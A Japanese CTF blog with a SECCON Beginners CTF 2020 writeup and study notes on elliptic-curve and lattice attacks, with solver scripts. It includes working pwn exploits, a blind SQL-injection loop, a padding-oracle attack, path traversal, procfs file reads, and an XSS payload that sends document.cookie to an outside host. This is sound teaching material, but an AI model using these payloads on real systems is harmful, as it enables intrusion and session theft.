ふるつき

v(*'='*)v かに

SECCON Beginners CTF 2020 writeup

2020-05-23 14:00 - 2020-05-24 14:00 (JST) で SECCON Beginners CTF が開催されました。今回はチームメンバーが見つからなかったので、腕試しに presecure という一人チームで参加してみました (なんとなく浮かんだのでこの名前にしましたが、既出っぽいのでちゃんと調べておくべきでしたね)。 結果は pwn の Meidum 〜 cryptoのHard、RevのHardが解けず 3823 points で 12位でした。10位以内に入りたかったですね。

[Pwn] Beginner's Stack

Stack Overflowでwin関数に飛ぶだけ。win関数の movaps でプログラムが落ちないように ret gadetをひとつまみ

from ptrlib import *


win = 0x400861
payload = b"A" * 40 +  p64(0x4007F0) + p64(win)

sock = Socket("bs.quals.beginners.seccon.jp", 9001)
sock.sendline(payload)
sock.interactive()

[Pwn] Beginner's Heap

libc 2.28 以降の(keyによるチェックがある) tcache poisoningの問題。丁寧に教えてくれるのでやるだけのはずが、ネットワークが悪かったのかすぐにコネクションが切られてしまったり、同じ入力なのに異なる動き方をしたので、うまく通ることを祈って 30分くらいガチャをした。

from ptrlib import *

sock = Socket("bh.quals.beginners.seccon.jp", 9002)
sock.recvuntil("hook>: ")
free_hook = int(sock.recvline(), 16)


sock.recvuntil("win>: ")
win = int(sock.recvline(), 16)
print("__free_hook: {:0x}".format(free_hook))


sock.sendafter("> ", "2") # malloc and free twice B
sock.send("AAAAAAAA")
sock.sendafter("> ", "3")

sock.sendafter("> ", "2")
sock.send("BBBBBBBB")
sock.sendafter("> ", "3")

sock.sendafter("> ", "1") # heap oveflow 1. overwrite B's fd to __free_hook
sock.send(b"C" * 0x18 + p64(0x21) + p64(free_hook))


sock.sendafter("> ", "2") # malloc B
sock.send("DDDDDDDD")

sock.sendafter("> ", "2") # try once more (?)
sock.send("DDDD2222")

sock.sendafter("> ", "1") # heap oveflow 2. overwrite B's mchunk_size
sock.send(b"E" * 0x18 + p64(0x31))

sock.sendafter("> ", "3") # free B. in this step, B is conneted to tcache[0x28] instead of tcache[0x18]

sock.sendafter("> ", "2") # malloc B (__free_hook)
sock.send(p64(win))

sock.sendafter("> ", "3") # free B to win
sock.interactive()

[Crypto] R&B

先頭の文字が 'R' なら rot13、'B'なら base64のdecodeをやる。手で解いたのでスクリプトないです。

[Crypto] Noisy equations

from os import getenv
from time import time
from random import getrandbits, seed


FLAG = getenv("FLAG").encode()
SEED = getenv("SEED").encode()

L = 256
N = len(FLAG)


def dot(A, B):
    assert len(A) == len(B)
    return sum([a * b for a, b in zip(A, B)])

coeffs = [[getrandbits(L) for _ in range(N)] for _ in range(N)]

seed(SEED)


answers = [dot(coeff, FLAG) + getrandbits(L) for coeff in coeffs]

print(coeffs)
print(answers)

単なるn変数の連立方程式だけど、 ランダムなnoiseが加算されていてそのままでは解けない。幸い、SEEDが指定されていて乱数が固定なので2回リクエストを送って差分を取ると乱数分が消えるのであとは方程式を解くだけ。

from ptrlib import *


sock = Socket("noisy-equations.quals.beginners.seccon.jp", 3000)
coeffs1 = eval(sock.recvline())
answer1 = eval(sock.recvline())
sock.close()

sock = Socket("noisy-equations.quals.beginners.seccon.jp", 3000)
coeffs2 = eval(sock.recvline())
answer2 = eval(sock.recvline())
sock.close()

answers = []
for i in range(len(answer1)):
    answers.append(answer1[i] - answer2[i])


import numpy as np

N = len(answers)
matrix = [[0 for i in range(N)] for j in range(N)]

for i in range(len(answers)):
    for j in range(len(answers)):
        matrix[i][j] = (coeffs1[i][j] - coeffs2[i][j])

A = np.array(matrix)
A = A.astype(np.float64)
b = np.array(answers)
b = b.astype(np.float64)

print("".join(chr(int(x)) for x in list(np.linalg.solve(A, b))))

このソルバだとフラグっぽいけどフラグとはちょっと違う文字列が得られたので何回かやってフラグっぽくなるように修正して提出した。

[Crypto] RSA Calc

from Crypto.Util.number import *
from params import p, q, flag
import binascii
import sys
import signal


N = p * q
e = 65537
d = inverse(e, (p-1)*(q-1))


def input(prompt=''):
    sys.stdout.write(prompt)
    sys.stdout.flush()
    return sys.stdin.buffer.readline().strip()

def menu():
    sys.stdout.write('''----------
1) Sign
2) Exec
3) Exit
''')
    try:
        sys.stdout.write('> ')
        sys.stdout.flush()
        return int(sys.stdin.readline().strip())
    except:
        return 3


def cmd_sign():
    data = input('data> ')
    if len(data) > 256:
        sys.stdout.write('Too long\n')
        return

    if b'F' in data or b'1337' in data:
        sys.stdout.write('Error\n')
        return

    signature = pow(bytes_to_long(data), d, N)
    sys.stdout.write('Signature: {}\n'.format(binascii.hexlify(long_to_bytes(signature)).decode()))

def cmd_exec():
    data = input('data> ')
    signature = int(input('signature> '), 16)

    if signature < 0 or signature >= N:
        sys.stdout.write('Invalid signature\n')
        return

    check = long_to_bytes(pow(signature, e, N))
    if data != check:
        sys.stdout.write('Invalid signature\n')
        return

    chunks = data.split(b',')
    stack = []
    for c in chunks:
        if c == b'+':
            stack.append(stack.pop() + stack.pop())
        elif c == b'-':
            stack.append(stack.pop() - stack.pop())
        elif c == b'*':
            stack.append(stack.pop() * stack.pop())
        elif c == b'/':
            stack.append(stack.pop() / stack.pop())
        elif c == b'F':
            val = stack.pop()
            if val == 1337:
                sys.stdout.write(flag + '\n')
        else:
            stack.append(int(c))

    sys.stdout.write('Answer: {}\n'.format(int(stack.pop())))


def main():
    sys.stdout.write('N: {}\n'.format(N))
    while True:
        try:
            command = menu()
            if command == 1:
                cmd_sign()
            if command == 2:
                cmd_exec()
            elif command == 3:
                break
        except e:
            sys.stdout.write('Error\n')
            sys.stdout.write(e)
            break


if __name__ == '__main__':
    signal.alarm(60)
    main()

[tex: m_1d * m_2d \equiv (m_1m_2)d \mod n] であることを利用して 1337,F を適当に分解して送って得られたsignatureを掛ければ良い。

from ptrlib import *
from Crypto.Util.number import *

sock = Socket("rsacalc.quals.beginners.seccon.jp", 10001)
# sock = Socket("localhost", 8888)
N = int(sock.recvline().decode().split(": ")[1])

e = 65537

m1 =  1081919446939
m2 =  2* 5**2

print(repr(long_to_bytes(m1)), repr(long_to_bytes(m1).strip()))
print(repr(long_to_bytes(m2)), repr(long_to_bytes(m2).strip()))



sock.sendlineafter("> ", "1")
sock.sendlineafter("data> ", long_to_bytes(m1))
sock.recvuntil("Signature: ")
s1 = int(sock.recvline(), 16)

sock.sendlineafter("> ", "1")
sock.sendlineafter("data> ", long_to_bytes(m2))
sock.recvuntil("Signature: ")
s2 = int(sock.recvline(), 16)

s = (s1 * s2) % N
if s < 0 or s >= N:
    print('Invalid signature\n')
    assert False

data = long_to_bytes(m1 * m2)
check = long_to_bytes(pow(s, e, N))
if data != check:
    print('Invalid signature\n')
    assert False

sock.sendlineafter("> ", "2")
sock.sendlineafter("data> ", data)
sock.sendlineafter("signature> ", hex(s)[2:])
sock.interactive()

[Crypto] Encrypter

平文をおくると暗号化してくれて、暗号文を送ると復号できたかどうか教えてくれて、フラグの暗号文を教えてくれるWebサービス。なぜかソースコードがついてなかったけど、問題設定からguessingするとAES-CBCによる暗号化・復号をやっていて、Padding Oracle Attackができるのでやる。 ptrlibを使うとPadding Oracle系はすぐ解ける。

from base64 import *
from ptrlib import *
import requests
import json

c = b64decode(b"rNv1oN83BbvzgICFYbBMtUJ20474P5kmULMw9xZFPOI9vAsrKxf1diFVXVeJl1jE95LNaLajwPLGiUKAQSNe4A==")
iv, c = c[:16], c[16:]

def oracle(c):
    r = requests.post("http://encrypter.quals.beginners.seccon.jp/encrypt.php", data=json.dumps({
        "mode": "decrypt",
        "content": b64encode(c).decode(),
    }))
    if "ok" in r.text:
        return True
    else:
        return False

print(padding_oracle(decrypt=oracle, cipher=c, bs=16, iv=iv))

[Web] Spy

DBにエントリが存在するかどうかで応答時間が違うのでそれを利用する。

[Web] Tweetstore

limit 句にSQL Injectionがある。 PostgreSQLはlimit句でもサブクエリが使えるので表示件数をOracleにしてやる

import requests
import re

index =1
flag = ''
while True:

    r = requests.get(
    'https://tweetstore.quals.beginners.seccon.jp/?search=&limit=(select%20ascii(substr(usename,{},1)) from pg_user limit 1 offset 1)'.format(index)
    )

    a = re.findall('[0-9]+ of 200', r.text)[0].split(" ")[0]

    flag += chr(int(a))
    print(flag)
    index += 1

[Web] unzip

zipファイルをuploadすると展開してくれて、選択したパスのファイルをDLできるようになるアプリケーション。zipにファイルを相対アドレスで格納して ../../../flag などとすると file_get_contents("uploads/session_id/../../../flag"); ができそうな気がしたのでやる。フラグの場所がわからなかったので質問したらアナウンスされた。

[Web] profiler

GraphQL の API がある。https://github.com/graphcool/get-graphql-schema でSchemaを取得したら someone(uid: ID!) というクエリと updateToken(token: String!) という mutation があることがわかるので、それぞれをやって adminのtokenを抜く。

$ curl 'https://profiler.quals.beginners.seccon.jp/api' -H 'Cookie: session=eyJ1aWQiOiJtb2dpbW9naSJ9.XskNXw._y30SNQCtLyjvGcUYgfXAQrX7-I' --data-raw '{"query":"query myon($arg1: ID!) {someone(uid: $arg1){uid token} }", "variables": { "arg1": "admin" }}'

$ curl 'https://profiler.quals.beginners.seccon.jp/api' -H 'Cookie: session=eyJ1aWQiOiJtb2dpbW9naSJ9.XskNXw._y30SNQCtLyjvGcUYgfXAQrX7-I' --data-raw '{"query":"mutation {updateToken(token: \"743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b\")}"}'

[Web] Somen

どこかで見た問題なので http://akouryy.hatenablog.jp/entry/ctf/xss.shift-js.info#23 などを見に行くと location.href="http://ptsv2.com/t/9ck3z-1590289441/post?q" + document.cookie;//</title><script id="message"></script><script> のようなクエリを送ればいい感じになることがわかる。

[Reversing] mask

純粋にロジックを読む

s1 = "atd4`qdedtUpetepqeUdaaeUeaqau"
s2 = "c`b bk`kj`KbababcaKbacaKiacki"

m1 = 0x75
m2 = 0xEB

f = ''

for i in range(len(s1)):
    for c in range(256):
        if m1 & c == ord(s1[i]) and m2 & c == ord(s2[i]):
            f += chr(c)
    print(f)

[Reversing] yakisoba

一瞬だけバイナリをみて一瞬でangrに投げることを決めた

import angr

p = angr.Project("./yakisoba")
e = p.factory.entry_state()
simgr = p.factory.simulation_manager(e)
s = simgr.explore(find=0x400000 + 0x6D2)
import code
code.interact(local=locals())

[Reversing] ghost

次のようなghost script (post script?) にフラグが入力されていて、その出力が渡される。最初は真面目に解析していたけど、途中で同じ入力なら同じ出力が出ることに気がついて入力を前から全探索した。gs コマンドを実行する度にcanvasが描画されて目がちかちかした。

 /flag 64 string def /output 8 string def (%stdin) (r) file flag readline not { (I/O Error\n) print quit } if 0 1 2 index length { 1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch } repeat (\n) print quit
from ptrlib import *
import string
table = string.printable
estimate = "3417 61039 39615 14756 10315 49836 44840 20086 18149 31454 35718 44949 4715 22725 62312 18726 47196 54518 2667 44346 55284 5240 32181 61722 6447 38218 6033 32270 51128 6112 22332 60338 14994 44529 25059 61829 52094".split(" ")
flag = 'ctf4b{'
while len(flag) < len(estimate):
    for c in table:
        sock = Process(["gs", "-q", "chall.gs"])
        sock.sendline(flag + c)
        line = sock.recvline().decode()
        sock.close()
        if " ".join(estimate[:len(flag)+1]) == line:
            flag += c
            print(flag)
            break

[Reversing] sinlangs

apkなので、unzipとjarとcfrとdex2jarを使ってclassファイルを解析していった。AES-GCMによる暗号か復号をやっている処理があったので、そこだけ切り抜いてみた。

import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
class Solve {
    public static void main(String[] args) throws Exception {
            final byte[] array2;
            final byte[] array = array2 = new byte[43];
            array2[0] = 95;
            array2[1] = -59;
            array2[2] = -20;
            array2[3] = -93;
            array2[4] = -70;
            array2[5] = 0;
            array2[6] = -32;
            array2[7] = -93;
            array2[8] = -23;
            array2[9] = 63;
            array2[10] = -9;
            array2[11] = 60;
            array2[12] = 86;
            array2[13] = 123;
            array2[14] = -61;
            array2[15] = -8;
            array2[16] = 17;
            array2[17] = -113;
            array2[18] = -106;
            array2[19] = 28;
            array2[20] = 99;
            array2[21] = -72;
            array2[22] = -3;
            array2[23] = 1;
            array2[24] = -41;
            array2[25] = -123;
            array2[26] = 17;
            array2[27] = 93;
            array2[28] = -36;
            array2[29] = 45;
            array2[30] = 18;
            array2[31] = 71;
            array2[32] = 61;
            array2[33] = 70;
            array2[34] = -117;
            array2[35] = -55;
            array2[36] = 107;
            array2[37] = -75;
            array2[38] = -89;
            array2[39] = 3;
            array2[40] = 94;
            array2[41] = -71;
            array2[42] = 30;

        SecretKeySpec secretKey = new SecretKeySpec("IncrediblySecure".getBytes(), 0, 16, "AES");
                final Cipher instance = Cipher.getInstance("AES/GCM/NoPadding");
                instance.init(2, secretKey, new GCMParameterSpec(128, array, 0, 12));
                final byte[] doFinal = instance.doFinal(array, 12, array.length - 12);
        System.out.println(new String(doFinal));
    }
}

出力は 1pt_3verywhere} でフラグっぽいが足りない。雑に grep -R 'ctf4b' などとすると assets/index.android.bundle にjs側のロジックがあることがわかった。こちらは単純なxorだった。

xs= [34, 63, 3, 77, 36, 20, 24, 8, 25, 71, 110, 81, 64, 87, 30, 33, 81, 15, 39, 90, 17, 27]
ys = "AKeyForios10.3"

flag = ''
for i in range(len(xs)):
    flag += chr(xs[i] ^ ord(ys[i% len(ys)]))
    print(flag)
print(flag + '1pt_3verywhere}')

[Misc] Welcome

Discordサーバにフラグがある。見に行った時点ではまだフラグは投下されてなくて、問題文に「質問はctf4b-bot までお願いします」と書いてったのでそういうことかと思って質問をしたけど早とちりだった

[Misc] emoemoencode

脳死でやった。何だこの問題

xs = open("emo", "rb").read()
flag = ''
cnt = 0
for i in range(0, len(xs), 4):
    try:
        flag += chr(int.from_bytes(xs[i:i+4], "big") - 4036988224)
    except:
        flag += chr(int.from_bytes(xs[i:i+4], "big") - 4036988032)
    print(flag)

print(flag)

[Misc] readme

#!/usr/bin/env python3
import os

assert os.path.isfile('/home/ctf/flag') # readme

if __name__ == '__main__':
    path = input("File: ")
    if not os.path.exists(path):
        exit("[-] File not found")
    if not os.path.isfile(path):
        exit("[-] Not a file")
    if '/' != path[0]:
        exit("[-] Use absolute path")
    if 'ctf' in path:
        exit("[-] Path not allowed")
    try:
        print(open(path, 'r').read())
    except:
        exit("[-] Permission denied")

これ系の問題は絶対にprocfsに違いないとあたりをつけてやった。 /proc/self/environ をよむと PWD=/home/ctf/server であることがわかるので、 /proc/self/cwd/../flag で読める

[アンケート] アンケート

フラグはなし。Discordのリンクだけ見ていたので、競技終了後に問題として出ていることに気がついて、もしや問題文にフラグがあったりしたのではと焦ったがそんなことはなかった。問題の質が高くて面白かったこと、去年に比べて難化が激しいのではないかということ、とにかく楽しかったということを書いたと思う。

yoshi-gcc log

もう随分昔の話ですが、私がGCCに落ちたので、チームinsecure内での勉強会、yoshi-gccが開催されました*1。やっと宿題を片付けたので記録とwriteupを書きます。

他の参加者のブログ

yoshiking.hatenablog.jp

ptr-yudai.hatenablog.com

私の発表

「CTFではLLLを、格子の非零な最小ベクトルを求めるための道具として使う」ということや「求めたい最小ベクトルがMinkowskiの不等式やGaussian Heuristic Assumptionに従いそうなことを確かめよう」などといったことを紹介しつつ、一部のMarkle-Hellman knapsack暗号に対するLLLを用いたアプローチ、Rolling Hashを衝突させる入力をLLLで作る、Approximate GCDっぽい問題をLLLで解くといった例を紹介しました。いま改めて資料を見返したら何言ってるのか全然わからなくて笑っちゃった。

発表中に「行列の各行の大きさを大体揃えておくことが大事っぽいね」みたいな話がでたのですが、これの根拠もよくわかってないです(格子の基底ができるだけ直交した感じになると良さそう? よくわからんね)。

他にも、LLLを適用する際には縦型・横型の行列のどちらを使うべきかといったことについても触れましたが、これは正直なぜこうなるのか全然わかっていないので曖昧に流してしまいました*2。わかる人がいたら教えてください。

yoshikingの発表

yoshikingもLLLについてでしたが、こちらはHITCON 2019のnot so hard RSAという問題の解説ベースという感じでした。要するに mikowskiの定理に従うように行列のサイズを調節してLLLで殴れという問題だと解釈して自分なりにサイズを調節していたのですが、結局私は解けず仕舞いでした。こんなの解けるわけ無いだろ

ptr-yudaiの発表

楕円曲線に関して、過去のCTFで出題された問題を例に、どういうケースで脆弱になるのかを紹介してくれました。過去に取り組んだけど解けなかった問題などが取り上げられていてとても勉強になりました。ここでは取り組んだ問題とその解答スクリプトを列挙してみます。

watevr-CTF 2019 ECC-RSA

本番では「いやー解けね〜〜〜」って言ってやつ(1)です。RSAのp, qが、ある楕円曲線上の点のx, y座標になっているだけ、という問題で、解けなかったときはsageのsolve(方程式を解くやつ)でやっていたのですが、PolynomialRingのrootsを使う手法を教えてもらったので解けました。解いた後、こういう点をどうやって見つけてるのか作問者に聞いたのですが、「マシンパワーで長時間殴った」らしいです。

from sage.all import *
from Crypto.Util.number import *

n = 0x118aaa1add80bdd0a1788b375e6b04426c50bb3f9cae0b173b382e3723fc858ce7932fb499cd92f5f675d4a2b05d2c575fc685f6cf08a490d6c6a8a6741e8be4572adfcba233da791ccc0aee033677b72788d57004a776909f6d699a0164af514728431b5aed704b289719f09d591f5c1f9d2ed36a58448a9d57567bd232702e9b28f
a =  -0x3
b = 0x51953eb9618e1c9a1f929a21a0b68540eea2da725b99b315f3b8b489918ef109e156193951ec7e937b1652c0bd3bb1bf073573df883d2c34f1ef451fd46b503f00

PRIME = 0x1ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
PR, x = PolynomialRing(FiniteField(PRIME), name="x").objgen()
f = (n**2) - (x**5) - a * (x**3) - b * (x**2)
polys = f.roots()

for ans in polys:
    if isPrime(int(ans[0])):
        p = int(ans[0])
        break

q = n // p
c =  0x3862c872480bdd067c0c68cfee4527a063166620c97cca4c99baff6eb0cf5d42421b8f8d8300df5f8c7663adb5d21b47c8cb4ca5aab892006d7d44a1c5b5f5242d88c6e325064adf9b969c7dfc52a034495fe67b5424e1678ca4332d59225855b7a9cb42db2b1db95a90ab6834395397e305078c5baff78c4b7252d7966365afed9e

phi = (p-1)*(q-1)
e = 65537
d = inverse_mod(e, phi)
m = pow(c, d, n)
print(bytes.fromhex(hex(m)[2:]))

ASIS CTF Quals 2019 Halloween Party

本番で解けなかった問題(2)です。ちなみにそのあとwriteupを読んでも解けなかったりしていました。楕円曲線上のいくつかの点から楕円曲線のパラメータを求めるパートと、楕円曲線上の点の方程式を解くパートがあります。楕円曲線上の点に定数 xの逆数 x^{-1}をかけるときは楕円曲線の位数の逆数をとります。こういう基礎的な知識も抜けがち

from sage.all import *

y1 = 467996041489418065436268622304855825266338280723
y2 = 373126988100715326072483107245781156204485119489
y3 = 245091091146774561796627894715885724307214901148

# p = factor(2 * (y1**2) - (y2**2) - (y3**2) + 24) from factordb
p = 883097976585278660619269873521314064958923370261

A = (((y1**2) - (y2**2) - 2 ) // 2) % p
B = (((y1**2) + (y2**2)) // 2) % p


iQy = 621803439821606291947646422656643138592770518069
_, x = PolynomialRing(GF(p), name="x").objgen()
f = x**3 + A*x + B - iQy**2
iQx = int(f.roots()[0][0])

EC = EllipticCurve(GF(p), [A, B])
P2 = EC((iQx, iQy))
P = inverse_mod(2, EC.order())  * P2
print(P)

CSAW CTF Qualification Round 2019 Supercurve

楕円曲線の位数が小さいのでsageのdiscrete_logで殴ると解けます。はい

from sage.all import *
from ptrlib import *



EC = EllipticCurve(GF(14753), [1, -1])
G = EC((1, 1))

sock = Socket("jctf.tk", 12345)
sock.recvuntil("ublic key: ")
x, y = eval(sock.recvline().decode())
Q = EC((x, y))

s = G.discrete_log(Q)
print(s)
print(s * G)
print(Q)
sock.sendline(str(s))
sock.interactive()

picoCTF 2017 ECC2

楕円曲線の位数が素因数分解できる場合に、Pohlig-Hellman attackができるよ、という問題です。この問題も楕円曲線のパラメータbを求めるステップがあり、PolynomialRingのrootsで殴ります

#  Elliptic Curve: y^2 = x^3 + A*x + B mod M
#  M = 93556643250795678718734474880013829509320385402690660619699653921022012489089
#  A = 66001598144012865876674115570268990806314506711104521036747533612798434904785
#  B = *You can figure this out with the point below :)*
#
#  P = (56027910981442853390816693056740903416379421186644480759538594137486160388926, 65533262933617146434438829354623658858649726233622196512439589744498050226926)
#  n = *SECRET*
#  n*P = (61124499720410964164289905006830679547191538609778446060514645905829507254103, 2595146854028317060979753545310334521407008629091560515441729386088057610440)
#
#  n < 400000000000000000000000000000
#
#  Find n.

from sage.all import *

M = 93556643250795678718734474880013829509320385402690660619699653921022012489089
A = 66001598144012865876674115570268990806314506711104521036747533612798434904785
Px, Py = (56027910981442853390816693056740903416379421186644480759538594137486160388926, 65533262933617146434438829354623658858649726233622196512439589744498050226926)

_, b = PolynomialRing(GF(M), name="b").objgen()
f = Px**3 + Px*A + b - Py**2
B = Integer(f.roots()[0][0])

EC = EllipticCurve(GF(M), [A, B])
P = EC((Px, Py))
Q = EC((61124499720410964164289905006830679547191538609778446060514645905829507254103, 2595146854028317060979753545310334521407008629091560515441729386088057610440))

order = EC.order()
factors = list(factor(order))
mods = []
zs = []
cur = 1

bound = 400000000000000000000000000000

for factor in factors:
    p, e = factor
    pe = p**e
    Pi = (order // pe) * P
    Qi = (order // pe) * Q
    zi = Pi.discrete_log(Qi)

    zs.append(zi)
    mods.append(pe)

    cur *= pe
    if cur > bound:
        break

print(CRT(zs, mods))

nullcon HackIM 2019 Singular

Singularな楕円曲線は準同型なほかの構造にうつして解ける、という問題です。なんとこの問題は以前に勉強したことがあったのでスクリプトぺっってすると解けました。が、何が起こっているのかをちゃんと知れてありがたかったです。ところでsupersingularな曲線ってもっと簡単に解けないんですかね……。

from sage.all import *
from Crypto.Cipher import AES
from hashlib import sha256

def c4(a1, a2, a3, a4, a6, p):
    b2 = pow(a1,2) + 4*a2
    b4 = 2*a4 + a1*a3

    return (pow(b2, 2) - 24*b4) % p

PRIME = 785482254973602570424508065997142892171538672071
Field = GF(PRIME)
_, (x, y) = PolynomialRing(Field, 2, names=["x", "y"]).objgens()
A2 = 330762886318172394930696774593722907073441522749
A1 = 6688528763308432271990130594743714957884433976
A0 = 759214505060964991648440027744756938681220132782

f = x**3 + x**2 * A2 + x * A1 + A0 - y**2
C = Curve(f)
Dx, Dy = C.singular_points()[0]
print("[+] singular poinrt: ({}, {})".format(Dx, Dy))

if c4(0, A2, 0, A1, A0, PRIME) == 0:
    print("[+] curve is cusp")
else:
    print("[+] curve is node")

f2 = f.subs(x=x - Dx, y = y - Dx)

G = (1, 68596750097555148647236998220450053605331891340)
P = (453762742842106273626661098428675073042272925939, 680431771406393872682158079307720147623468587944)
Q = (353016783569351064519522488538358652176885848450, 287096710721721383077746502546881354857243084036)

# map from elliptic curve to finite field
Fg = Field(G[0] - Dx) / Field(G[1] - Dy)
Fp = Field(P[0] - Dx) / Field(P[1] - Dy)
Fq = Field(Q[0] - Dx) / Field(Q[1] - Dy)

# solve discrete log
d1 = Fp / Fg
d2 = Fq / Fg
print("d1: {}".format(d1))
print("d2: {}".format(d2))

# find K
Fk = d1 * d2 * Fg

# reverse map from finite field to elliptic curve
K = (Fk**(-2) + Dx, Fk**(-3) + Dy)
key = sha256(str(K[0]).encode()).digest()

c = bytes.fromhex('480fd106c9a637d22fddd814965742236eb314c1b8fb68e70a7c7445ff04476082f8b9026c49d27110ba41b95e9f51dc')
m = AES.new(key, AES.MODE_ECB).decrypt(c)
print(m)

TJCTF 2016 Curvature2

Anomalousな曲線は脆弱だよね、という問題です。SSSA Attack万歳、ecpy万歳。ところでanomalousな曲線どうやって見つけるんでしょう? 知ってる人いらっしゃいませんか……。

from sage.all import PolynomialRing, GF
from ecpy import *


P = 0xd3ceec4c84af8fa5f3e9af91e00cabacaaaecec3da619400e29a25abececfdc9bd678e2708a58acb1bd15370acc39c596807dab6229dca11fd3a217510258d1b
A = 0x95fc77eb3119991a0022168c83eee7178e6c3eeaf75e0fdf1853b8ef4cb97a9058c271ee193b8b27938a07052f918c35eccb027b0b168b4e2566b247b91dc07
Gx = 0xcf634030986cf41c1add87e71d638b9cc723c764059cf4c9b8ed2a0aaf5d51dc770372503ebfaad746ab9220e992c09822916978226465ad31d354a3efee51da
Gy = 0x65eaad8848b2787103fce02358b45d8a61420031989eb6b4b70d82fe20d85583ae542eb8f76749dc640b0f13f682228819b8b2f04bd7a5a17a4c675540fe1c90

_, b = PolynomialRing(GF(P), name="b").objgen()
f = Gx**3 + A*Gx + b - Gy**2
B = int(f.roots()[0][0])

F = FiniteField(P)
EC = EllipticCurve(F, int(A), B)

G = EC(Gx, Gy)

Q = EC(10150325274093651859575658519947563789222194633356867789068177057343771571940302488270622886585658965620106459791565259790154958179860547267338437952379763, 6795014289013853849339410895464797184780777251924203530417684718894057583288011725702609805686960505075072642102076744937056900144377846048950215257629102)
s = SSSA_Attack(F, EC, G, Q)
print(bytes.fromhex(hex(s)[2:]))

TJCTF 2015 Curvature

宿題になっていた問題です。ある点を与えて何かしらの演算をしてもらう時、与えた点が楕円曲線上にあるかどうかのチェックがないと、invalid curve attackが可能になります。という問題で、しかしinvalid curve attackをする際にどうやって良いBを求めるのかがわからず放置していたのですが、De1CTF 2020のECDHという問題のwriteup を見てこれがわかったので解けました。ちなみにECDHは本番中に「うわ〜〜invalid curve attackじゃん」って言って放り投げました。

どうやら、楕円曲線の位数がある程度小さい数を含むように素因数分解できる場合に、楕円曲線のgenerator * (order / factor)をやると、位数がfactorな部分群のgeneratorが求まるようです。確かに……。これで位数が小さい楕円曲線上での演算に持ち込めば、あとはCRTで復元、という感じで解けます。

from sage.all import *
from timeout_decorator import timeout
from ptrlib import *

generators = [
    {'generator': (75018829908334641135287907832364588376392648394852697956512464620901439399091, 59310606686882497582859801487472084112791104513525809772271515095232323519002), 'order': 17, 'b': 2} ,
    {'generator': (14108366122805723625020075750179082265774395778849335024217582787861312312270, 48131724537792101564129626030579998631347236213771248503484807671517428824779), 'order': 11871421, 'b': 3} ,
    {'generator': (10219791296939476446978405667751432187697243109108209712110403172731476918598, 29956495008696010243175913739747719779132987433052330275148912122314390288669), 'order': 137, 'b': 5} ,
    {'generator': (42777940522922357350677116116779112965460458338266309438879684299889046092060, 55153724152154375167247217363093302126821206645660100074296996339252760370913), 'order': 32633, 'b': 7} ,
    {'generator': (10831563407297415859788486867917312379445005544125515905759465100401482164790, 83673279217201573271136390602924299332268405981527089175622432592003182193), 'order': 2192629, 'b': 9} ,
    {'generator': (21866291018291769753200219006065902052302271116278780675505468066315056034667, 26320854338400571929354338120932758767766121454452318420674426177401484895077), 'order': 1146083, 'b': 11} ,
    {'generator': (70477946629836528396820075171089472321695231503572908556028599471720495852914, 45359043459356443396911931469603778921737175440775125150426057614649863769381), 'order': 557693197, 'b': 12} ,
    {'generator': (3067625162943157588017556490906306538160163692852525289213976752118141691559, 70135860004395620803901190886933054437366829947624865529920703668208548865169), 'order': 4787, 'b': 13} ,
    {'generator': (20453887951492396382116635373156816246787390607186046864442208295254950706353, 41374043013134953199326755315280127177100264339162100449295591769938446808604), 'order': 120528059, 'b': 14} ,
    {'generator': (63860357017578264591074151267679315831331582854780010735294147152111534385449, 7787790211631466170916931897483087919405908652838124300647908802622489289322), 'order': 167, 'b': 15} ,
    {'generator': (28266681978198457092812065766219275154917100817596733107392104751238123037180, 25375345042438509641710766829984998144411914831489524239691171315736258149744), 'order': 433981, 'b': 17} ,
    {'generator': (30194731389043602783690419048124763865168292379437069881181109836251172351228, 40665116364724631324900157788568397943144157820689726966949666425146455719977), 'order': 370871, 'b': 18} ,
    {'generator': (24936471025919082430845657538468506580791307884831801991879227749137995844519, 63816116169864815848466423976585822530331789272863018928197180972927927939612), 'order': 259177, 'b': 21} ,
    {'generator': (41876169769492810135683621405650315114043483742421946397396849624969605627524, 62374885101651406800250293984653592947701957841184358843280066067652148661439), 'order': 9804344863, 'b': 22} ,
    {'generator': (45845934232875157717087534318790345406363949403587257916077210108373946981911, 10876312240831805735749936927491976773415927845336159631890752995764740480225), 'order': 11, 'b': 23} ,
]

A = 0x7D5A0975FC2C3057EEF67530417AFFE7FB8055C126DC5C6CE94A4B44F330B5D9
B = 0x26DC5C6CE94A4B44F330B5D9BBD77CBF958416295CF7E1CE6BCCDC18FF8C07B6
P = 0xA9FB57DBA1EEA9BC3E660A909D838D726E3BF623D52620282013481D1F6E5377
F = GF(P)

sock = Socket("localhost", 12345)
sock.recvuntil('"x y"\n')

pairs = []

for i, g in enumerate(generators):
    print("[+] {}/{}".format(i+1, len(generators)))
    E = EllipticCurve(F, [A, g['b']])
    P = E(g['generator'])

    sock.sendline("{} {}".format(*g['generator']))
    sock.recvuntil("point:\n")
    x,y = [int(xy) for xy in sock.recvline()[1:-1].split(b", ")]

    Q = E((x,y))
    z = P.discrete_log(Q)

    pairs.append((z,g['order']))

print(bytes.fromhex(hex(crt(pairs)[0])[2:]))

いい感じのgeneratorを見つけるスクリプト

from sage.all import *
from timeout_decorator import timeout


A = 0x7D5A0975FC2C3057EEF67530417AFFE7FB8055C126DC5C6CE94A4B44F330B5D9
B = 0x26DC5C6CE94A4B44F330B5D9BBD77CBF958416295CF7E1CE6BCCDC18FF8C07B6
P = 0xA9FB57DBA1EEA9BC3E660A909D838D726E3BF623D52620282013481D1F6E5377
F = GF(P)
size = EllipticCurve(F, [A, B]).order()


@timeout(10, timeout_exception=Exception, use_signals=False)
def factorize(n):
    return prime_factors(n)

cur = 1
b = 2
while cur < size:
    EC = EllipticCurve(F, [A, b])
    order = EC.order()

    try:
        factors = factorize(order)
    except Exception:
        b += 1
        continue

    suborder = 1
    for f in factors:
        if f < 10**10:
            suborder = f
        else:
            break
    g = EC.gen(0) * int(order // suborder)
    print({
        "generator": g.xy(),
        "order": suborder,
        "b": b,
    }, ",")

